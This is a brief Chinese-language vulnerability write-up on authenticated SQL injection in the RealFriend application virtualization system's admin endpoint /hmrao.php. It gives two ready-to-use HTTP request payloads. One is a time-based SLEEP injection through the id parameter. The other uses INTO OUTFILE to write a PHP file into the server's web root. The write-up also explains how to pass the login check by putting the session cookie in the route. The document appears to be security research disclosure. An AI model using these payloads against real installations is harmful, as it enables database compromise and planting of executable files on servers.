最近网上公开了一些瑞友天翼应用虚拟化系统的 SQL 注入漏洞,经过挖掘发现,还存在一些后台 SQL 注入漏洞。

重点关注传入参数可控并且拼接到 SQL 语句中的代码。

首先检测了登录状态,然后将通过 GET 获取到的参数 id 直接拼接到 SQL 语句中。

GET /hmrao.php?s=/Admin/getappicon/&id=1');SELECT+SLEEP(5)+AND('1 HTTP/1.1

我们打印出执行的 SQL 语句,发现成功闭合 SQL。

GET /hmrao.php?s=/Admin/getappicon/&id=1');select%20'<?php%20phpinfo();?>'%20into%20outfile%20%27C:\\Program%20Files%20(x86)\\RealFriend\\Rap%20Server\\WebRoot\\test1.php%27%23 HTTP/1.1

我们看到这里检测登录状态的函数是 adminchecklogin

这里进行检测时会根据路由 sessId 来进行检测,所有需要将cookie 拼接在路由器上。

这里检测登录状态的函数同样也是 adminchecklogin

所以也需要将cookie 拼接在路由中。
